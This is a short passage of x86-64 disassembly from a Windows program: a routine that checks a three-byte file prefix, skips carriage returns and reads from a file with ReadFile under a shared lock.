cmp ebp, 3
jbe 0x14000f6ff
movzx edx, word [0x140047ba0]
movzx ecx, word [0x1400338d4]
sub edx, ecx
jne 0x14001ce49
movzx edx, byte [0x140047ba2]
movzx ecx, byte [0x1400338d6]
sub edx, ecx
test edx, edx
jne 0x14001ce70
add esi, 0xfffffffd
lea rdi, [0x140047ba3]
mov r12, rdi
mov dword [r14], esi
mov dword [rsp + 0x90], esi
mov eax, esi
mov edx, 3
jmp 0x14000f6ff
mov edx, dword [rsp + 0x30]
jmp 0x14000f6ff
cmp byte [rdi + 1], 0xd
je 0x14000f74c
jmp 0x14000f721
cmp eax, r13d
je 0x14001ce99
add rdi, 2
add eax, 0xfffffffe
jmp 0x14000f739
lea rcx, [0x1400561f0]
call qword [sym.imp.api_ms_win_core_synch_l1_1_0.dll_AcquireSRWLockShared]
lea rdx, [rdi + 1]
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x90]
mov r8d, r13d
mov rcx, r15
call qword [sym.imp.api_ms_win_core_file_l1_1_0.dll_ReadFile]
lea rcx, [0x1400561f0]
mov ebx, eax
call qword [sym.imp.api_ms_win_core_synch_l1_1_0.dll_ReleaseSRWLockShared]
test ebx, ebx
je 0x14001ceeb
cmp dword [rsp + 0x90], 0
je 0x14001ceeb
inc esi
jmp 0x14000f769
mov dword [r14], 0
jmp 0x14000f7b7